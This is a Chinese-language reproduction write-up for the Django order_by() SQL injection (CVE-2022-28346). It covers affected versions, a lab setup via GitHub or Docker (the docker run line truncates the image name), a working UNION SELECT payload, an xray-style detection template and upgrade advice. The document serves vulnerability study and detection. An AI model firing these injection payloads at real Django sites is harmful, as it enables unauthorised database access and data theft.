0x01漏洞描述
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。利用方式:不需要用户认证 ,属于高危漏洞。
0x02影响范围
- 4.0 <= Django < 4.0.4
- 3.2 <= Django < 3.2.13
- 2.2 <= Django < 2.2.28
0x03环境搭建
1、本地
(建议使用docker,本地可能会出现很多问题)
下载
https://github.com/DeEpinGh0st/CVE-2022-28346
初始化
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/
2、docker
docker pull s0cke3t/cve-2022-28346:latest
docker run --name Django -d -p 8080:8000 s0cke3t/cve-2022-2834
直接访问http://ip:8080/ ,成功搭建。
0x04漏洞复现
1、
访问http://ip:8080/demo
2、
poc:
/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
成功查询数据库版本
0x05 poc检测
POC:
params: []
name: Django SQL注入漏洞
set:
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /demo/?field=
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(bytes("Amoount of
users"))
- method: GET
path: /demo/?field=demo.name" FROM "demo_user" union SELECT "1",MD5('{{r1}}'),"3"
--
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)),0,
31)))
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
0x06 修复建议
官方已发布安全版本
下载地址:https://www.djangoproject.com/download/
请登录后查看回复内容